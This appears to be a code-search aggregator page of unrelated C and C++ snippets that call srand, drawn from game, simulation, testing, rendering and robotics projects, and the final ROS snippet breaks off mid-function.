Esempio n. 1
0
File: LevelGrid.cpp Progetto: ofx/dr
void LevelGrid::InitializeLevel(void)
{
    // Give the level vertices some space
    this->m_LeftLevelVertices  = (hgeVector**) malloc(sizeof(hgeVector*) * this->m_NumY);
    this->m_RightLevelVertices = (hgeVector**) malloc(sizeof(hgeVector*) * this->m_NumY);

    // Create some storage for track indices
    this->m_LeftLevelIndices  = (unsigned int*) malloc(sizeof(unsigned int) * this->m_NumY);
    this->m_RightLevelIndices = (unsigned int*) malloc(sizeof(unsigned int) * this->m_NumY);

    // Retrieve the list of players to generate activators
    std::list<Player*> *p = this->m_PlayerManager->GetPlayers();

    // Constructed the grid vertices, now build the level
    for (int i = 0 ; i < this->m_NumY ; ++i)
    {
        // Construct the left and right vertexlist
        this->m_LeftLevelVertices[i]  = this->m_GridVertices[i][StartX];
        this->m_RightLevelVertices[i] = this->m_GridVertices[i][StartX + this->m_TrackWidth];

        // Store indices
        this->m_LeftLevelIndices[i]  = StartX;
        this->m_RightLevelIndices[i] = StartX + this->m_TrackWidth;

        // Only create a "turn" every 2 vertices vertical
        if (i % 2 == 0)
        {
            int lr = rand() % 3 - 1;

            if (StartX + lr < (this->m_NumX - this->m_TrackWidth) && StartX + lr > 0)
            {
                StartX += lr;
            }
        }
    }

    // Create a vector from the list, we need direct lookup
    std::vector<Player*> players(p->begin(), p->end());
    
    // Initialize the number of activators
    this->m_NumActivators = 0;

    // Only add activators whenever there are players
    if (players.size() > 0)
    {
        // Determine the vertical distribution for activators
        int verticalDistribution = this->m_NumY / (players.size() * NUM_ACTIVATORS);

        // Create the activator array
        this->m_Activators = (Activator**) malloc(sizeof(Activator*) * (this->m_NumActivators = NUM_ACTIVATORS * players.size()));

        // This feels a bit hackish...
        std::vector<std::vector<unsigned int>> activatorTypes;
        for (int i = 0 ; i < players.size() ; ++i)
        {
            std::vector<unsigned int> activators;
            for (int j = 0 ; j < NUM_ACTIVATORS ; ++j)
            {
                activators.push_back(j);
            }
            std::random_shuffle(activators.begin(), activators.end());
            activatorTypes.push_back(activators);
        }
        std::random_shuffle(activatorTypes.begin(), activatorTypes.end());

        // Retrieve viewport
        unsigned int width = this->m_Engine->GetWidth();
        unsigned int height = this->m_Engine->GetHeight();

        // Determine deltas
        float dx = width / this->m_NumX;
        float dy = height / this->m_NumY;

        // Define the activator length list
        ACTIVATOR_LENGTH_LIST;

        // Run through the players and then run though activators to make sure that
        // we're never generating two activators for one player in sequence
        int y = 0;
        int n = 0;
        std::vector<std::vector<unsigned int>>::const_iterator it;
        for (int i = 0 ; i < NUM_ACTIVATORS ; ++i)
        {
            int k = 0;
            for (it = activatorTypes.begin() ; it != activatorTypes.end() ; ++it)
            {
                // Fetch a random int between left and right on track y
                int x = (rand() % ((this->m_RightLevelIndices[y] - 2) - (this->m_LeftLevelIndices[y] + 2))) + (this->m_LeftLevelIndices[y] + 2);
        
                // Fetch the activator type pointed to by i
                unsigned int activatorType = (*it).at(i);

                // Offset y in some direction
                srand(x * y);
                int offsetY = rand() % 5;
            
                if (y + offsetY >= this->m_NumY)
                {
                    y -= offsetY;
                }
                else
                {
                    y += offsetY;
                }

                // Get the selected vertex
                hgeVector *vec = this->m_GridVertices[y][x];

                // Create a new activator instance
                Activator *activator = new Activator();

                // Set the type
                activator->ActivatorType = activatorType;

                // Set the owner
                activator->Owner = players.at(k++);

                // In case the activator type is one of type weapon (pickup), add a random weapon to the activator
                if (activatorType == ACTIVATOR_TYPE_WEAPON)
                {
                    // Get a random index
                    int index = rand() % NUM_WEAPONS;

                    switch (index)
                    {
                        case WEAPON_INDEX_NEOSHOOTER:
                            activator->Data = new Neoshooter(activator->Owner, this->m_Engine->GetWorld());
                            break;
                        case WEAPON_INDEX_TRISCEPTRE:
                            activator->Data = new Trisceptre(activator->Owner, this->m_Engine->GetWorld());
                            break;
                    }
                }
            
                // Define the vertices
                activator->Vertices[0] = *vec; activator->Vertices[1] = *vec;
                activator->Vertices[2] = *vec; activator->Vertices[3] = *vec;

                // Offset the vertices conform winding
                activator->Vertices[1].x -= dx;
                activator->Vertices[2].x -= dx; activator->Vertices[2].y -= dy * ACTIVATOR_LENGTH_LIST_NAME[activatorType];
                activator->Vertices[3].y -= dy * ACTIVATOR_LENGTH_LIST_NAME[activatorType];

                // Add the activator
                this->m_Activators[n++] = activator;
            }

            // Increase the vertical pointer
            y += verticalDistribution;
        }
    }
}
Esempio n. 2
0
int main(int argc, char **argv)
{
    char *iFuncName;
    int m, info;
    int maxEvals;
    int iFuncNumb, n, numIter;
    int contSucess = 0;
    int type;
    real *x;
    real epsg, epsf, epsx;
    real maxiters = 0;
    long fnEvals, mediaFnEvals = 0;
    long gradEvals, mediaGradEvals = 0;
    bool sucess;
    int64_t initialTime, finalTime;
    int64_t deltaTime, mediaTime = 0;
    ap::real_1d_array xBFGS;
    MGrasp *mgrasp;
    LBFGS *lbfgs;
    Funcao *func;

    real *gaps;
    real mediaGaps[7];

    if (argc < 7) {
        usage();
        return 1;
    }

    epsg = 0.000001;
    epsf = 0.000001;
    epsx = 0.000001;
    maxiters = 0;

    iFuncName   = argv[1];
    iFuncNumb   = getFuncNumb(iFuncName);
    n           = atoi(argv[2]);
    maxEvals    = atoi(argv[3]);
    numIter     = atoi(argv[4]);
    type        = getType(argv[5]);
    m           = atoi(argv[6]);

    if (iFuncNumb == -1) {
        printf("Função %s não existe... \n\n", iFuncName);
        return 1;
    }

    if (type == -1) {
        printf("Tipo %s não existe... \n\n", argv[4]);
        return 1;
    }

    if (m > n) {
        printf("'m' deve ser menor ou igual a 'n' \n\n");
        return 1;
    }

    for (int i = 0; i < 7; i++) {
        mediaGaps[i] = 0.0;
    }

    if (iFuncNumb == Funcao::PAR_SPHERE) {
        if (!init_gpu(n)) {
            fprintf(stderr, "Erro inicializando GPU\n");
            return 2;
        }
    }

    srand(time(NULL));
    for (int i = 1; i <= numIter; i++) {
        sucess = false;

        printf("[%d]Iteracao \n", i);
        initialTime = getMilisegundos();

        mgrasp = initMGrasp(iFuncNumb, n, &func);

        if (type == PURO) {
            printf("Puro... \n");
            sucess = mgrasp->start(false, m, maxEvals);
        }
        else if (type == HIBRIDO) {
            printf("Hibrido... \n");
            sucess = mgrasp->start(true, m, maxEvals);
        }
        else {
            printf("BFGS... \n");
            x = new real[n];
            mgrasp->unifRandom(x);
            xBFGS.setbounds(1, n);
            for (int j = 0; j < n; j++) {
                xBFGS(j+1) = x[j];
            }
            lbfgs = new LBFGS(func, false);
            lbfgs->minimize(n, m, xBFGS, epsg, epsf, epsx, maxiters, info);

            sucess = true;
            printf("Info = %d \n", info);
        }

        finalTime = getMilisegundos();
        printf("\tTime = %lld \n", finalTime - initialTime);

        if (maxEvals) {
            gaps = mgrasp->getGaps();
            for (int j = 0; j < 7; j++){
                mediaGaps[j] += gaps[j];
                printf("[%d]Gap[%d] = %lf (%lf)... \n", i, j, mediaGaps[j], gaps[j]);
            }
        }
        else if (sucess) {
            contSucess++;
            fnEvals = func->getFnEvals();
            gradEvals = func->getGradEvals();
            deltaTime = finalTime - initialTime;

            mediaFnEvals   += fnEvals;
            mediaGradEvals += gradEvals;
            mediaTime      += deltaTime;
            printf("[%d]Sucesso(%d) = %ld (%d)... \n", i, contSucess, mediaFnEvals, fnEvals);
            printf("[%d]Grad(%d) = %ld (%d)... \n", i, contSucess, mediaGradEvals, gradEvals);
        }
        printf("\n");
        delete mgrasp;
        delete func;
    }

    if (maxEvals) {
        saveGaps(mediaGaps, numIter);
    }
    else {
        printf("Num execucoes com sucesso... = %d \n", contSucess);
        printf("Media de avaliacao da funcao... = %d \n", (long)((real)mediaFnEvals/contSucess));
        printf("Media de avaliacao do gradiente... = %d \n", (long)((real)mediaGradEvals/contSucess));
        printf("Media de tempo... = %d \n", (long)((real)mediaTime/contSucess));
    }

    if (iFuncNumb == Funcao::PAR_SPHERE)
        finalize_gpu();

    return 0;
}
Esempio n. 3
0
void mcast::uuid_init(void)
{
    srand(getpid());
}
Esempio n. 4
0
short WINAPI DLLExport CreateRunObject(LPRDATA rdPtr, LPEDATA edPtr, fpcob cobPtr)
{
	// Do some rSDK stuff
	#include "rCreateRunObject.h"

#ifdef _DEBUG
	AllocConsole();
	freopen("conin$","r",stdin);
	freopen("conout$","w",stdout);
	freopen("conout$","w",stderr);
#ifdef UNICODE
	printf("Surface Unicode version\n");
#endif
#endif

	srand(time(NULL));

	LPRH rhPtr = rdPtr->rHo.hoAdRunHeader;
	mv* mV = rdPtr->rHo.hoAdRunHeader->rh4.rh4Mv;

	rdPtr->rHo.hoImgWidth = edPtr->width_def;
	rdPtr->rHo.hoImgHeight = edPtr->height_def;
	rdPtr->useAbs = edPtr->useAbs;
	rdPtr->keepPoints = edPtr->keepPoints;
	rdPtr->dispTarget = edPtr->dispTarget;
	rdPtr->selectLast = edPtr->selectLast;
	rdPtr->threadedIO = edPtr->threadedIO;
	rdPtr->ioFile = 0;

	//Font
	rdPtr->hFont = 0;
	memcpy(&rdPtr->textFont,&edPtr->textFont,sizeof(LOGFONT));
	rdPtr->hFlags = edPtr->textFlags;	

	//Depth
	rdPtr->depth = 24;

	//Internal blending
	rdPtr->b.mode = BMODE_TRANSP;
	rdPtr->b.operation = BOP_COPY;
	rdPtr->b.param = 0;
	rdPtr->b.param = 0xffffffff;
	rdPtr->b.flags = 0;
	rdPtr->b.destX = 0;
	rdPtr->b.destY = 0;
	rdPtr->b.destW = 0;
	rdPtr->b.destH = 0;
	rdPtr->b.StretchMode = 0;
	rdPtr->b.srcX = 0;
	rdPtr->b.srcY = 0;
	rdPtr->b.srcW = 0;
	rdPtr->b.srcH = 0;
	rdPtr->b.srcUse = false;
	rdPtr->b.callback[0] = 0;
	rdPtr->b.procOp[0] = 0;
	rdPtr->b.procOpSrc = 1;
	rdPtr->b.composeAlpha = false;
	rdPtr->b.angle = 0;
	rdPtr->b.angleResample = false;
	rdPtr->b.hotX = 0;
	rdPtr->b.hotY = 0;
	rdPtr->b.hotspotMode = 1; // no longer possible to disable
	rdPtr->blitStackCursor = -1;
	//Current & target surfaces
	rdPtr->targetId = -1;
	rdPtr->target = 0;
	rdPtr->currentId = -1;
	rdPtr->current = 0;
	rdPtr->lastId = -1;
	rdPtr->targetValid = false;
	//Default settings
	rdPtr->transCol = BLACK;
	//Collision mask and fill data
	rdPtr->collision = 0;
	rdPtr->fill = new FillDB;
	//Polygon's points
	rdPtr->points = new PolyPoints;
	//Buffer
	rdPtr->buffer = 0;
	rdPtr->buffPitch = 0;
	rdPtr->buffSurf = 0;
	//Overlay
	rdPtr->ovl = 0;
	//Callback
	rdPtr->colSrc = 0;
	rdPtr->colDest = 0;
	rdPtr->colNew = 0;
	rdPtr->colAlphaSrc = 0;
	rdPtr->colAlphaDest = 0;
	rdPtr->colAlphaNew = 0;
	rdPtr->callback = 0;
	rdPtr->callX = 0;
	rdPtr->callY = 0;
	rdPtr->colAlphaRet = 0;
	rdPtr->colRet = 0;
	//Flood fill region
	rdPtr->floodL = 0;
	rdPtr->floodT = 0;
	rdPtr->floodR = 0;
	rdPtr->floodB = 0;
	//I/O
	rdPtr->ioHandle = 0;
	//Quick store
	rdPtr->stored = 0;
	// Random color function
	rdPtr->randomSeed = 0;
	//Functions for extension integration
	rdPtr->imageAt = GetImgAt;
	rdPtr->imageCount = GetImgCount;
	//Running HWA?
	LPSURFACE wSurf = WinGetSurface((int)rhPtr->rhIdEditWin);
	int nDrv = wSurf->GetDriver();
	rdPtr->isHWA = nDrv == SD_D3D8 || nDrv == SD_D3D9;
		
	//Display surface not necessary by default
	rdPtr->display = 0;
	rdPtr->rc.rcAngle = 0;
	rdPtr->rc.rcScaleX = 1.0f;
	rdPtr->rc.rcScaleY = 1.0f;

	//Images
	rdPtr->surf = new ImageBank;

	//Hotspot info
	Img imgInfo;
	//Prototype for new surfaces
	cSurface *proto = 0;

	if(edPtr->multiImg)
	{
		//First image empty
		if(!edPtr->images[0]&&edPtr->loadFirst)
		{
			cSurface *tmp = new cSurface;
			rdPtr->surf->push_back(new SImage(tmp));
			//Empty image with size
			if(edPtr->loadFirst)
			{
				GetSurfacePrototype(&proto,rdPtr->depth,ST_MEMORYWITHDC,SD_DIB);
				tmp->Create(edPtr->width,edPtr->height,proto);
				tmp->Fill(BLACK);
			}
			rdPtr->targetId = rdPtr->currentId = rdPtr->lastId = 0;
			TargetImg = CurrentImg = tmp;
			rdPtr->targetValid = true;
		}
		for(int i=0;i<edPtr->imageCount;i++)
		{
			//Get surface prototype on first loop
			if(!i)
				GetSurfacePrototype(&proto,rdPtr->depth,ST_MEMORYWITHDC,SD_DIB);
			//Valid image? Load
			if(edPtr->images[i])
			{
				cSurface is, *tmp = new cSurface;
				GetImageInfos(rhPtr->rhIdAppli,edPtr->images[i],&imgInfo);
				rdPtr->surf->push_back(new SImage(tmp,true,imgInfo.imgXSpot,imgInfo.imgYSpot));
				LockImageSurface(rhPtr->rhIdAppli,edPtr->images[i],is);
				
				if(is.GetWidth())
				{
					if(!i)
					{
						rdPtr->targetId = 0;
						TargetImg = tmp;
						rdPtr->lastId = rdPtr->targetId;
						rdPtr->targetValid = true;
						if(edPtr->loadFirst)
						{
							rdPtr->currentId = rdPtr->targetId;
							CurrentImg = TargetImg;
						}
					}
					tmp->Create(is.GetWidth(),is.GetHeight(),proto);
					tmp->SetTransparentColor(is.GetTransparentColor());
					is.Blit(*tmp,0,0,BMODE_OPAQUE,BOP_COPY,0,BLTF_COPYALPHA);
				}
				else if(!i&&edPtr->loadFirst)
				{
					rdPtr->targetId = rdPtr->currentId = 0;
					TargetImg = CurrentImg = 0;
					rdPtr->lastId = rdPtr->targetId;
				}
				UnlockImageSurface(is);
			}
			//Add prototype if there's more than one empty image
			else if(i&&edPtr->imageCount>1)
			{
				rdPtr->surf->push_back(new SImage(new cSurface));
			}

		}
	}
	//Single image
	else
	{
		//First image is set
		if(edPtr->images[0])
		{
			cSurface is, *tmp = new cSurface;
			GetImageInfos(rhPtr->rhIdAppli,edPtr->images[0],&imgInfo);
			rdPtr->surf->push_back(new SImage(tmp,true,imgInfo.imgXSpot,imgInfo.imgYSpot));
			LockImageSurface(rhPtr->rhIdAppli,edPtr->images[0],is);

			if(is.GetWidth())
			{
				GetSurfacePrototype(&proto,rdPtr->depth,ST_MEMORYWITHDC,SD_DIB);
				rdPtr->targetId = rdPtr->currentId = rdPtr->lastId = 0;
				TargetImg = CurrentImg = tmp;
				tmp->Create(is.GetWidth(),is.GetHeight(),proto);
				tmp->SetTransparentColor(is.GetTransparentColor());
				is.Blit(*tmp);
			}
			UnlockImageSurface(is);
			rdPtr->targetValid = true;
		}
		//Create empty image if wanted
		else
		{
			cSurface *tmp = new cSurface;
			rdPtr->surf->push_back(new SImage(tmp));
			//Empty image with size
			if(edPtr->loadFirst)
			{
				GetSurfacePrototype(&proto,rdPtr->depth,ST_MEMORYWITHDC,SD_DIB);
				tmp->Create(edPtr->width,edPtr->height,proto);
				tmp->Fill(BLACK);
			}
			rdPtr->targetId = rdPtr->currentId = rdPtr->lastId = 0;
			TargetImg = CurrentImg = tmp;
			rdPtr->targetValid = TargetImg->IsValid();
		}
	}
	
	//Initialize information
	if(rdPtr->current)
	{	
		rdPtr->rHo.hoImgWidth = rdPtr->current->GetWidth();
		rdPtr->rHo.hoImgHeight = rdPtr->current->GetHeight();
		rdPtr->rHo.hoImgXSpot = ImageS(rdPtr->currentId)->hotX;
		rdPtr->rHo.hoImgYSpot = ImageS(rdPtr->currentId)->hotY;
	}

	// No errors
		return 0;
}
Esempio n. 5
0
END_TEST

/* Prueba unitaria para arbol_binario_gira_derecha. */
START_TEST(test_arbol_binario_gira_derecha)
{
        srand((unsigned int)time(NULL));
        ArbolBinario* arbol = arbol_binario_ordenado_nuevo(compara_enteros);
        int total = rand() % N;
        if (total == 1)
            total++;
        int* a = arreglo_sin_repetidos(total);
        a[total-2] = 2001;
        a[total-1] = 2000;
        for (int i = 0; i < total; i++)
                arbol_binario_ordenado_agrega(arbol, &a[i]);
        NodoArbolBinario* nodo = NULL;
        int Q = -1;
        do {
                Q = a[rand() % total];
                nodo = arbol_binario_ordenado_busca(arbol, &Q);
                fail_unless(nodo != NULL);
                void* e = nodo_arbol_binario_elemento(nodo);
                fail_unless(!compara_enteros(e, &Q));
        } while (nodo_arbol_binario_izquierdo(nodo) == NULL);
        nodo = nodo_arbol_binario_izquierdo(nodo);
        int* n = nodo_arbol_binario_elemento(nodo);
        int P = *n;
        int A = -1, B = -1, C = -1;
        if (nodo_arbol_binario_izquierdo(nodo) != NULL) {
                nodo = nodo_arbol_binario_izquierdo(nodo);
                n = nodo_arbol_binario_elemento(nodo);
                A = *n;
                nodo = nodo_arbol_binario_padre(nodo);
        }
        if (nodo_arbol_binario_derecho(nodo) != NULL) {
                nodo = nodo_arbol_binario_derecho(nodo);
                n = nodo_arbol_binario_elemento(nodo);
                B = *n;
                nodo = nodo_arbol_binario_padre(nodo);
        }
        nodo = nodo_arbol_binario_padre(nodo);
        if (nodo_arbol_binario_derecho(nodo) != NULL) {
                nodo = nodo_arbol_binario_derecho(nodo);
                n = nodo_arbol_binario_elemento(nodo);
                C = *n;
                nodo = nodo_arbol_binario_padre(nodo);
        }
        arbol_binario_gira_derecha(arbol, nodo);
        fail_unless(arbol_binario_elementos(arbol) == total);
        fail_unless(arbol_binario_valido(arbol));
        fail_unless(arbol_binario_ordenado_valido(arbol));
        for (int i = 0; i < total; i++) {
                NodoArbolBinario* tmp;
                tmp = arbol_binario_ordenado_busca(arbol, &a[i]);
                fail_unless(tmp != NULL);
        }
        n = nodo_arbol_binario_elemento(nodo);
        fail_unless(!compara_enteros(n, &Q));
        fail_unless(nodo_arbol_binario_padre(nodo) != NULL);
        nodo = nodo_arbol_binario_padre(nodo);
        n = nodo_arbol_binario_elemento(nodo);
        fail_unless(!compara_enteros(n, &P));
        if (A != -1) {
                fail_unless(nodo_arbol_binario_izquierdo(nodo) != NULL);
                nodo = nodo_arbol_binario_izquierdo(nodo);
                n = nodo_arbol_binario_elemento(nodo);
                fail_unless(!compara_enteros(n, &A));
                nodo = nodo_arbol_binario_padre(nodo);
        }
        fail_unless(nodo_arbol_binario_derecho(nodo) != NULL);
        nodo = nodo_arbol_binario_derecho(nodo);
        n = nodo_arbol_binario_elemento(nodo);
        fail_unless(!compara_enteros(n, &Q));
        if (B != -1) {
                fail_unless(nodo_arbol_binario_izquierdo(nodo) != NULL);
                nodo = nodo_arbol_binario_izquierdo(nodo);
                n = nodo_arbol_binario_elemento(nodo);
                fail_unless(!compara_enteros(n, &B));
                nodo = nodo_arbol_binario_padre(nodo);
        }
        if (C != -1) {
                fail_unless(nodo_arbol_binario_derecho(nodo) != NULL);
                nodo = nodo_arbol_binario_derecho(nodo);
                n = nodo_arbol_binario_elemento(nodo);
                fail_unless(!compara_enteros(n, &C));
                nodo = nodo_arbol_binario_padre(nodo);
        }
        arbol_binario_libera(arbol);
        free(a);
}
Esempio n. 6
0
static void
_draw_track (RendererSimTraffic *self, const lcmtypes_track_t *vd)
{
    // generate a stable non-black, non-white color from object ID
    srand(vd->id);
    GLfloat rgb[4];
    rand_color(rgb);

    glColorMaterial (GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE);
    glMaterialfv (GL_FRONT_AND_BACK, GL_AMBIENT, rgb);
    glMaterialfv (GL_FRONT_AND_BACK, GL_DIFFUSE, rgb);

    // assumes viewing, modeling matrices, etc. set up for local frame
    // leaves these matrices as they were before invocation
    glMatrixMode (GL_MODELVIEW);
    glPushMatrix();

    glTranslated (vd->pos[0], vd->pos[1], 0);

// rotate basis to body coords of vehicle (rotate by theta about Z axis)
    glRotated (to_degrees(vd->theta), 0.0, 0.0, 1.0); // convert rad to deg

    if (self->ehandler.hovering && 
            self->selected_vehicle_id == vd->id) {
        glColor4f (1, 1, 1, 0.6);
    } else {
        glColor4fv(rgb);
    }

//    int use_model =  gtku_param_widget_get_bool(self->pw, PARAM_PRETTY);
//
//    if (use_model) {
//
//        glRotated(90, 0, 0, 1);
//        glRotated(90, 1, 0, 0);
//        
//        double s = 4.5;
//        glScalef(s,s,s);
//        
//        glTranslated(0,.115,0); // car height
//        glTranslated(0,0,.1); // front-to-back offset
//        glBegin(GL_TRIANGLES);
//        for (int i = 0; i < numChevy_vanFaces; i++) {
//            int *vs = Chevy_vanFaces[i];
//            for (int j = 0; j < 3; j++) {
//                glNormal3fv(Chevy_vanVertNorms[vs[j]]);
//                glVertex3fv(Chevy_vanVerts[vs[j]]);
//            }
//            
//        }
//        glEnd();
//    } else {

    glTranslated ( 0, 0, VEHICLE_HEIGHT / 2);

    glScalef (vd->size[0], vd->size[1], VEHICLE_HEIGHT);
    glutil_draw_cube();
//    }

    // restore matrix state
    glPopMatrix();

    if (self->ehandler.picking && self->selected_vehicle_id == vd->id) {
        glColor4f (1, 1, 1, 0.6);
        glPushMatrix ();
        glTranslatef (self->last_xy[0], self->last_xy[1], 0);
        glRotated (to_degrees(vd->theta), 0.0, 0.0, 1.0); // convert rad to deg
        glScalef (vd->size[0], vd->size[1], VEHICLE_HEIGHT);
        glutil_draw_cube_frame ();
        glPopMatrix ();
    }
}
Esempio n. 7
0
void compute_streamlines() 
{
  srand (time(NULL));
	LOG("");

  float from[3], to[3]; 

  from[0] = minLen[0];   from[1] = minLen[1];   from[2] = minLen[2]; 
  to[0] = maxLen[0];   to[1] = maxLen[1];   to[2] = maxLen[2]; 

  printf("generating seeds...\n"); 
  osuflow->SetRandomSeedPoints(from, to, 400);
  int nSeeds; 
  VECTOR3* seeds = osuflow->GetSeeds(nSeeds); 
  for (int i=0; i<nSeeds; i++) 
    printf(" seed no. %d : [%f %f %f]\n", i, seeds[i][0], 
	   seeds[i][1], seeds[i][2]); 

  sl_list.clear(); 

  printf("compute streamlines..\n"); 
  osuflow->SetIntegrationParams(.001, .001);
  osuflow->GenStreamLines(sl_list , BACKWARD_AND_FORWARD, 2000, 0);
  printf(" done integrations\n"); 
  printf("list size = %d\n", (int)sl_list.size()); 

	// ADD-BY-LEETEN 07/07/2010-BEGIN
	for(int i = 0; i < sl_list.size(); i++)
	{
		VECTOR4 v4Color;
#if 0
		switch((i/2)%7)
		{
		case 0: v4Color = VECTOR4(1.0f, 0.0f, 0.0f, 1.0f);	break;
		case 1: v4Color = VECTOR4(0.0f, 1.0f, 0.0f, 1.0f);	break;
		case 2: v4Color = VECTOR4(0.0f, 0.0f, 1.0f, 1.0f);	break;
		case 3: v4Color = VECTOR4(1.0f, 1.0f, 0.0f, 1.0f);	break;
		case 4: v4Color = VECTOR4(1.0f, 0.0f, 1.0f, 1.0f);	break;
		case 5: v4Color = VECTOR4(0.0f, 1.0f, 1.0f, 1.0f);	break;
		case 6: v4Color = VECTOR4(1.0f, 1.0f, 1.0f, 1.0f);	break;
		}
#else
		switch((i/2)%10)
		{
		case 0: v4Color = VECTOR4(164.f/255.f, 196.f/255.f, 0.0f, 1.0f);	break;
		case 1: v4Color = VECTOR4(96.f/255.f, 169.f/255.f, 23.f/255.f, 1.0f);	break;
		case 2: v4Color = VECTOR4(0, 138.f/255.f, 0, 1.0f);	break;
		case 3: v4Color = VECTOR4(0, 171.f/255.f, 169.f/255.f, 1.0f);	break;
		case 4: v4Color = VECTOR4(27.f/255.f, 161.f/255.f, 226.f/255.f, 1.0f);	break;
		case 5: v4Color = VECTOR4(0, 80.f/255.f, 239.f/255.f, 1.0f);	break;
		case 6: v4Color = VECTOR4(106.f/255.f, 0, 1.f, 1.0f);	break;
		case 7: v4Color = VECTOR4(170.f/255.f, 0, 1.f, 1.0f);	break;
		case 8: v4Color = VECTOR4(244.f/255.f, 114.f/255.f, 208.f/255.f, 1.0f);	break;
		case 9: v4Color = VECTOR4(216.f/255.f, 0, 115.f/255.f, 1.0f);	break;
		}
#endif
		liv4Colors.push_back(v4Color);
	}
	// ADD-BY-LEETEN 07/07/2010-END
	cLineRenderer._Update();
}
Esempio n. 8
0
int main(){
	Queue *ready_queue;
	Queue *FCFS_queue, *RR_queue, *MRR_queue, *MHRR_queue;
	Queue *FCFS_pool, *RR_pool, *MRR_pool, *MHRR_pool;
	ready_queue = createQueue(MAX_SIZE_QUEUE);

	createJobPool();
	int i = 0;
	FILE *f;
	f = fopen("job_pool.txt", "r");

	// Copy the job pool data into another queue for each scheduling
    	// method and copy the queue of elements into another queue for
    	// each scheduling method
	printf("%s\n", "Generating jobs.");
    	FCFS_pool = createQueue(JOB_POOL_SIZE);
    	RR_pool = createQueue(JOB_POOL_SIZE);
    	MRR_pool = createQueue(JOB_POOL_SIZE);
    	MHRR_pool = createQueue(JOB_POOL_SIZE);

    	FCFS_queue = createQueue(MAX_SIZE_QUEUE);
    	RR_queue = createQueue(MAX_SIZE_QUEUE);
    	MRR_queue = createQueue(MAX_SIZE_QUEUE);
    	MHRR_queue = createQueue(MAX_SIZE_QUEUE);

    	for (i = 0; i < JOB_POOL_SIZE; i++){
    	    int quanta;
    	    fscanf(f, "%i", &quanta);
    	    enqueue(FCFS_pool, quanta);
    	    enqueue(RR_pool, quanta);
    	    enqueue(MRR_pool, quanta);
    	    enqueue(MHRR_pool, quanta);
    	}
	
    	// Transfer jobs to reach the steady state.
	printf("%s\n", "Transferring elements to reach the steady state.");
    	transfer(FCFS_queue, FCFS_pool, STEADY_STATE);
    	transfer(RR_queue, RR_pool, STEADY_STATE);
    	transfer(MRR_queue, MRR_pool, STEADY_STATE);
    	transfer(MHRR_queue, MHRR_pool, STEADY_STATE);
	
	srand(time(NULL));
	
    	// Now run each of the processes on the same exact data
	printf("%s\n", "Starting FCFS.");
    	FCFS(FCFS_queue, FCFS_pool);
	printf("%s\n", "Starting Round Robin");
    	RoundRobin(RR_queue, RR_pool);
	printf("%s\n", "Starting Modified Round Robin");
    	ModifiedRoundRobin(MRR_queue, MRR_pool);
	printf("%s\n", "Modified Half Round Robin");
    	ModifiedHalfedRoundRobin(MHRR_queue, MHRR_pool);

	printf("%s\n", "Freeing allocated memory.");
	// Free all allocated memory
	free(ready_queue);
	free(FCFS_queue);
	free(RR_queue);
	free(MRR_queue);
	free(MHRR_queue);
	free(FCFS_pool);
	free(RR_pool);
	free(MRR_pool);
	free(MHRR_pool);
	
	return 0;
}
Esempio n. 9
0
int main(int argc, char* argv[]) {
	ros::init(argc, argv, "darc_saca_3d_node");
	ros::NodeHandle nh;
	ros::Rate loop_rate(50);
	
	// desired_u and desired_yaw comes from input mapping node
	ros::Subscriber u_sub = nh.subscribe("desired_u", 1, u_callback);
	ros::Subscriber yaw_sub = nh.subscribe("desired_yaw", 1, yaw_callback);

	// laser_scan comes from vrep_lidar which reads the lidar data from vrep
	// and outputs it at the frequency of the true hardware
	//ros::Subscriber laser_scan = nh.subscribe("laser_scan",1,laser_callback);
	ros::Subscriber laser_scan = nh.subscribe("scan",1,laser_callback);

	// read the top and bottom sonar readings which will be ADC on hardware
	ros::Subscriber top_sonar = nh.subscribe("/vrep/top_sonar",1,
																					 top_sonar_callback);
	ros::Subscriber bottom_sonar = nh.subscribe("/vrep/bottom_sonar",1,
																							bottom_sonar_callback);
	
	// Publishes the quadrotor pose to the vrep visualizer
	ros::Publisher pos_pub =
		nh.advertise<geometry_msgs::Vector3>("/vrep/position", 1);
	ros::Publisher quat_pub =
		nh.advertise<geometry_msgs::Quaternion>("/vrep/quaternion", 1);
	
	// RVIZ publishers
	ros::Publisher quad_pub =
		nh.advertise<visualization_msgs::Marker>("quad_dummy_vis", 0);
	ros::Publisher init_traj_pub =
		nh.advertise<visualization_msgs::Marker>("init_traj_vis", 0);
	ros::Publisher fin_traj_pub =
		nh.advertise<visualization_msgs::Marker>("final_traj_vis", 0);
	ros::Publisher full_point_pub =
		nh.advertise<visualization_msgs::Marker>("laser_full_points_vis", 0);
	ros::Publisher seg_point_pub =
		nh.advertise<visualization_msgs::Marker>("laser_seg_points_vis", 0);
	ros::Publisher line_pub =
		nh.advertise<visualization_msgs::Marker>("laser_lines_vis",0);
	ros::Publisher mink_point_pub =
		nh.advertise<visualization_msgs::Marker>("mink_point_vis", 0);
	ros::Publisher mink_line_pub =
		nh.advertise<visualization_msgs::Marker>("mink_line_vis", 0);

	// Read in the value of hte time horizon from the launch file
	double time_horizon;
	if (nh.getParam("/time_horizon", time_horizon)) {;}
	else {
		ROS_ERROR("Set Time Horizon");
		return 0;
	}
	
	// Read in the distance threshold for the obstacle segmentation from
	// the launch file
	double distance_threshold;
	if (nh.getParam("/dist_thresh", distance_threshold)) {;}
	else {
		ROS_ERROR("Set Distance Threshold");
		return 0;
	}

	// Read in if collision avoidance or full manual
	double pca_enabled;
	if (nh.getParam("/pca_on", pca_enabled)) {;}
	else {
		ROS_ERROR("Set collision avoidance flag");
		return 0;
	}
	
	visualization_msgs::Marker quad_dummy;
	SetupQuadVisualization(quad_dummy, 0);
	visualization_msgs::Marker initial_trajectory_lines;
	SetupInitialTrajectoryVisualization(initial_trajectory_lines, 1);
	visualization_msgs::Marker final_trajectory_lines;
	SetupFinalTrajectoryVisualization(final_trajectory_lines, 2);
	visualization_msgs::Marker full_laser_points;
	SetupFullLaserVisualization(full_laser_points, 3);
	visualization_msgs::Marker seg_laser_points;
	SetupSegmentedLaserVisualization(seg_laser_points, 4);
	visualization_msgs::Marker laser_lines;
	SetupSegmentedLinesVisualization(laser_lines, 5);
	visualization_msgs::Marker mink_points;
	SetupMinkowskiPointsVisualization(mink_points, 6);
	visualization_msgs::Marker mink_lines;
	SetupMinkowskiLinesVisualization(mink_lines, 7);

	// Setup the class instance of the quadrotor for collision avoidance
	QuadrotorACA3d quad(time_horizon);
	
	QuadrotorACA3d::State x0 = QuadrotorACA3d::State::Zero();
	x0[0] = -0.3;
